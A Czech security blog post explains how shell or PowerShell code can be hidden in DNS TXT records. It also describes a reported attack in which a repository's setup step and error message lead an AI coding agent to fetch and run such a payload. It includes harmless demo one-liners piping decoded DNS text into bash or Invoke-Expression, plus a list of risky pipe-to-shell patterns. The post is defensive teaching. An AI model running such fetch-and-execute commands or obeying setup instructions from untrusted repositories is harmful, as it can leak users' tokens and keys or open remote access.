Kód schovaný v DNS: když AI agent poslušně otevře dveře

Publikováno Aktualizováno Od MilanKategorie:Blog, AI, hacky, nástroje, Promptpunk, Techniky hackerů

Vkládání škodlivých instrukcí AI agentům je poměrně nová disciplína. Samotné techniky, které se při tom používají, ale nové být nemusí.

Jednou z nich je schování kódu do DNS záznamů. Konkrétně do TXT záznamu, který je určený k ukládání textových dat. TXT záznamy se běžně používají například k ověření toho, že máte kontrolu nad doménou, nebo pro nastavení SPF, DKIM a DMARC u e-mailu. Technicky v nich ale může být uložený v podstatě jakýkoliv text.

A když může být v DNS záznamu obyčejný text, může tam být i příkaz.

Třeba příkaz, který se po načtení spustí v shellu. V neškodné podobě jen vypíše zprávu, vytvoří soubor nebo zobrazí ASCII art. Ve škodlivé podobě může útočníkovi otevřít vzdálený přístup k počítači.

Důležitý detail: škodlivý kód v takovém případě nemusí být vůbec uložený v repozitáři. Statický scanner kódu, kontrola commitů ani rychlá lidská review ho nemusí vidět, protože v repozitáři je jen skript, který „načte konfiguraci z DNS“. Samotný payload se objeví až ve chvíli, kdy se DNS záznam přečte a jeho obsah se spustí.

Ukázka

Tuhle techniku si můžete vyzkoušet i bez jakéhokoli škodlivého payloadu.

Následující příklad nic nestahuje, nikam se nepřipojuje a pouze vytvoří soubor ds.txt s jednoduchým ASCII artem:

 /_/
( o.o )
 > ^ <
DNS TXT says meow.

Pointa není v tom, co přesně skript dělá. Pointa je v tom, že kód není v souboru na disku, ale v DNS TXT záznamu.

Linux a macOS

Pro Linux a macOS může být v DNS třeba tento TXT záznam:

txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="

1. Jen zobrazit skript

Tímhle příkazem si zobrazíte, jaký skript je v DNS TXT záznamu uložený:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d

Výstup:

cat > ds.txt <<'EOF'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
EOF
cat ds.txt

2. Vyzkoušet spuštění

Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash

Výsledek: v aktuálním adresáři vznikne soubor ds.txt a jeho obsah se vypíše do terminálu.

Mechanismus je jednoduchý:

DNS TXT → Base64 → dekódování → bash

V téhle ukázce se uloží jen neškodná kočka. Stejný princip ale může místo toho zapsat SSH klíč, stáhnout další skript, odeslat tokeny nebo otevřít reverse shell.

Problém není DNS samotné. Problém je hlavně tahle část:

... | bash

Tím říkáte: „Vezmi text, který přišel zvenku, a spusť ho jako program.“

Windows / PowerShell

Na Windows jde použít podobná ukázka přes PowerShell. TXT záznam může obsahovat Base64 zakódovaný PowerShell skript:

txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"

1. Jen zobrazit skript

Tímhle příkazem si zobrazíte, jaký PowerShell skript je v DNS TXT záznamu uložený:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))

Výstup:

$art = @'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt

2. Vyzkoušet spuštění

Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))

Výsledek: v aktuálním adresáři vznikne soubor ds.txt a jeho obsah se vypíše do terminálu.

iex je zkratka pro Invoke-Expression. Jinými slovy: vezme text a spustí ho jako PowerShell kód.

Mechanismus je stejný jako u shellu:

DNS TXT → Base64 → dekódování → PowerShell

DNS TXT záznam sám o sobě nevypadá nebezpečně. Base64 sám o sobě také není malware. PowerShell sám o sobě je běžný administrační nástroj. Nebezpečné je až jejich spojení ve chvíli, kdy se obsah zvenku automaticky spustí.

Co ukázal 0DIN

Výzkumníci z Mozilla 0DIN popsali útok, ve kterém AI agent dostal zdánlivě jednoduchý úkol: zprovoznit stažený repozitář.

Repozitář sám o sobě nemusel obsahovat zjevný malware. README nabízelo běžný first-time setup:

pip3 install -r requirements.txt
python3 -m axiom init

Na první pohled jsou to jen dva normální příkazy: instalace závislostí a inicializace projektu.

V původním popisu útoku se ale mluví o třech částech. To neznamená, že uživatel nebo AI agent musí ručně provést tři samostatné příkazy. Jde spíš o tři navazující vrstvy útoku:

  1. důvěryhodně vypadající repozitář,
  2. inicializační rutina, která působí jako běžná součást setupu,
  3. setup skript, který si za běhu načte skutečný payload z DNS TXT záznamu a spustí ho.

Příkaz:

python3 -m axiom init

uvnitř spustí další setup skript. Ten se podívá do DNS, přečte TXT záznam, dekóduje jeho obsah a předá ho shellu.

Chybová hláška typu:

Axiom not initialised. Run: python3 -m axiom init

je v tomhle řetězci spíš pojistka. Pokud agent README neposlechne a pokusí se balíček použít bez inicializace, balíček mu stejný příkaz doporučí znovu jako běžnou opravu.

Takže existují dvě cesty ke stejnému výsledku.

Agent může poslechnout README:

pip install → init → DNS TXT → spuštění payloadu

Nebo README přeskočí, narazí na chybu a pak se „opraví“:

pip install → chyba → doporučený init → DNS TXT → spuštění payloadu

V obou případech je cíl stejný. Dostat agenta k tomu, aby spustil inicializační příkaz, který vypadá normálně, ale ve skutečnosti otevře cestu k externímu payloadu.

To je na tom nejnepříjemnější. Každý krok samostatně může vypadat nevinně. Problém vznikne až jejich složením.

Proč je to problém právě u AI agentů

U člověka je alespoň nějaká šance, že se u příkazu typu:

dig ... | base64 -d | bash

zastaví a řekne si: počkat, proč spouštím něco z DNS?

AI agent ale často pracuje jinak. Dostane cíl, například „zprovozni projekt“, a začne řešit překážky. Když něco nefunguje, přečte si README, error message, issue nebo nápovědu v terminálu a pokusí se pokračovat.

To je přesně jeho síla. A zároveň slabina.

Agent nemusí být „hacknutý“ v dramatickém slova smyslu. Stačí, že je příliš ochotný. Spustí doporučený příkaz, protože odpovídá jeho úkolu. A pokud má přístup k shellu, síti a vašemu pracovnímu adresáři, může být škoda velmi praktická:

  • únik API tokenů,
  • únik SSH klíčů,
  • přístup k privátním repozitářům,
  • čtení konfiguračních souborů,
  • přístup k cloudovým credentials,
  • spuštění dalšího kódu,
  • otevření reverse shellu.

Jinými slovy: nejde jen o „AI bezpečnost“. Je to klasická bezpečnost vývojářského prostředí, jen zrychlená a zesílená AI agentem.

Zabrání tomu antivirus nebo firewall?

Nespoléhal bych na to.

Běžná kontrola repozitáře nemusí nic podezřelého najít, protože skutečný payload není v repozitáři. Je až v DNS.

Antivirus se také nemusí chytit, pokud vidí jen běžné nástroje: Python, shell, dig, PowerShell, DNS dotaz. A firewall často DNS provoz povoluje, protože bez DNS se běžná práce na internetu rychle rozbije.

To neznamená, že obrana neexistuje. Dobré EDR, monitoring procesů, blokování podezřelých child procesů, omezení odchozí komunikace nebo detekce podezřelých řetězců typu base64 | bash a Invoke-Expression pomoct mohou.

Jen není dobrý nápad spoléhat na to jako na jedinou ochranu.

Jak se tomu bránit

Základní pravidlo je jednoduché: neznámý repozitář je neznámý kód. A to platí i ve chvíli, kdy ho otevírá AI agent.

Prakticky to znamená:

  • Nespouštět setup skripty z neznámých projektů naslepo.
  • Nepovažovat doporučení AI agenta za bezpečnostní kontrolu.
  • Dávat pozor na konstrukce typu curl | bash, wget | bash, dig | bash, base64 -d | bash, bash -c "$něco" nebo PowerShell Invoke-Expression.
  • Kontrolovat nejen příkaz, který se spouští, ale i to, co si tento příkaz načítá za běhu.
  • Spouštět cizí projekty v izolovaném prostředí: kontejner, VM, throwaway uživatel, devcontainer nebo sandbox.
  • Nedávat AI agentovi zbytečně široká oprávnění.
  • Nenechávat v prostředí dostupné produkční tokeny, SSH klíče, cloudové credentials a jiné dlouhodobé secrety.
  • Omezit odchozí síťový provoz z vývojového prostředí tam, kde to dává smysl.
  • U AI coding agentů vypnout nebo výrazně omezit automatické schvalování shell příkazů.
  • Brát README, chybové hlášky, issues a dokumentaci v cizím repozitáři jako nedůvěryhodný vstup, ne jako autoritativní instrukce.

Dobrá kontrolní otázka zní:

Vidím opravdu celý kód, který se po spuštění provede?

Pokud příkaz něco stahuje, čte z DNS, skládá z proměnných, dekóduje z Base64 nebo posílá do shellu, odpověď je často: ne, nevidím.

A v takové chvíli už nejde o „jenom setup“.

Jde o vzdálené spuštění kódu s právy uživatele, který má často na svém počítači mnohem víc citlivých věcí, než si připouští.

Shrnutí

DNS TXTTXT záznamy nejsou nebezpečné samy o sobě. Base64 není nebezpečné samo o sobě. AI agenti také nejsou nebezpeční sami o sobě.

Nebezpečné je, když se tyto věci spojí:

důvěryhodně vypadající projekt
+ ochotný AI agent
+ shell s příliš širokými právy
+ externě načtený payload
= problém

A proto je dobré si občas připomenout staré pravidlo v nové podobě:

Nekopírujte náhodné příkazy z internetu do terminálu.
A nenechávejte to dělat ani svého AI agenta.

Zdroje

Visual Portfolio, Posts & Image Gallery for WordPress

Firemní školení

Školení pro zaměstnance může výrazně snížit riziko hackerského útoku na vaši firmu

Infra Audit

Audit infrastruktury se zaměřením na bezpečnost a soukromí.

Osobní konzultace

Soukromé konzultace, instalace nově zakoupených počítačů, mobilů a další.